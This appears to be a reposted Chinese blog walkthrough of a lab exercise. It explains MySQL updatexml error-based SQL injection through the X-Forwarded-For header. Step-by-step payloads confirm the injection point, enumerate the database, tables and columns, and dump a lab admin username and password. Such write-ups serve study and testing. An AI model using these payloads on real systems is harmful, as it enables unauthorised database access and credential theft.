X-Forwarded-For + updatexml報錯注入
如需轉載,請標明出處!!!!!!!!!
1. 前置知識
1.1 報錯注入的原理
- 原理概述:
- SQL報錯注入就是利用資料庫的某些機制,人為地制造錯誤條件,使得查詢結果能夠出現在錯誤資訊中,這種手段在聯合查詢受限且能回傳錯誤資訊的情況下比較好用,畢竟用盲注的話既耗時又容易被封,
- updatexml(XML_document, XPath_string, new_value)函式
- 作用:
- 改變xml檔案中符合XPath字串條件的結點的數值,
- 引數說明:
XML_document引數:String格式,為XML檔案的名稱,XPath_string引數:Xpath格式的字串,new_value引數:String格式,將要替換的資料,
- 報錯原理:
- 在mysql執行updatexml函式的時候會檢查第二個引數,看它的輸入是否符合XPath字串的規范,如果不符合,則會產生報錯,
- 作用:
1.2 X-Forwarded-For
- 這里請看博主之前所寫的 關于XFF漏洞 的文章:https://www.cnblogs.com/02SWD/p/13256385.html
2. 注入流程
- 判斷注入點
- 爆當前用戶的資料庫,用戶權限,資料庫版本
- 爆當前資料庫的所有表名
- 爆表中的所有欄位名
- 查詢欄位值(獲取賬號密碼)
3. 靶場實戰
- 由于是對XFF頭進行注入,那么這里就采用burp進行抓包,然后利用burp的重傳模塊進行注入,

3.1 判斷注入點:
- payload
X-Forwarded-For:1.1.1.1 -- 頁面出現回顯 X-Forwarded-For:1.1.1.1' -- 頁面報錯- 頁面回傳出錯,說明我們的payload被成功的執行了,存在注入點

- 頁面回傳出錯,說明我們的payload被成功的執行了,存在注入點
3.2 爆當前用戶的資料庫,用戶權限,資料庫版本
- payload:
X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select user()),0x7e),1))# X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select database()),0x7e),1))# X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select version()),0x7e),1))#- 由頁面回傳結果可知:
- 當前登錄的用戶為:admin@localhost
- 當前連接的資料庫名為:webcalendar
- 當前資料庫的版本為:5.5.46-0ubuntu0.14.04.2

- 由頁面回傳結果可知:
3.3 爆當前資料庫的所有表名
- payload:
X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='webcalendar'),0x7e),1))#- 由頁面回傳結果可知,當前資料庫所有的表名為:logins,user兩張表

- 由頁面回傳結果可知,當前資料庫所有的表名為:logins,user兩張表
3.4 爆表中的所有欄位名
- payload:
1. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='logins'),0x7e),1))# 2. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1))#- 通過頁面的回傳結果可以看到兩張表均有username和password欄位,啊這,只好全部爆破一遍了,

- 通過頁面的回傳結果可以看到兩張表均有username和password欄位,啊這,只好全部爆破一遍了,
3.5 查詢欄位值
-
payload:
- 爆user表的欄位值
1. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(username) from user),0x7e),1))# 2. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1))#- 由頁面回傳結果可知,user表中只有一條記錄,admin/2538910828

- 由頁面回傳結果可知,user表中只有一條記錄,admin/2538910828
- 爆logins表的欄位值
1. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(username) from logins),0x7e),1))# 2. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(password) from logins),0x7e),1))#- 由頁面回傳的結果,看起來不像是賬號密碼

- 由頁面回傳的結果,看起來不像是賬號密碼
- 爆user表的欄位值
-
經登陸測驗,user表中的賬號密碼是正確的(admin/2538910828)

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/419929.html
標籤:其他
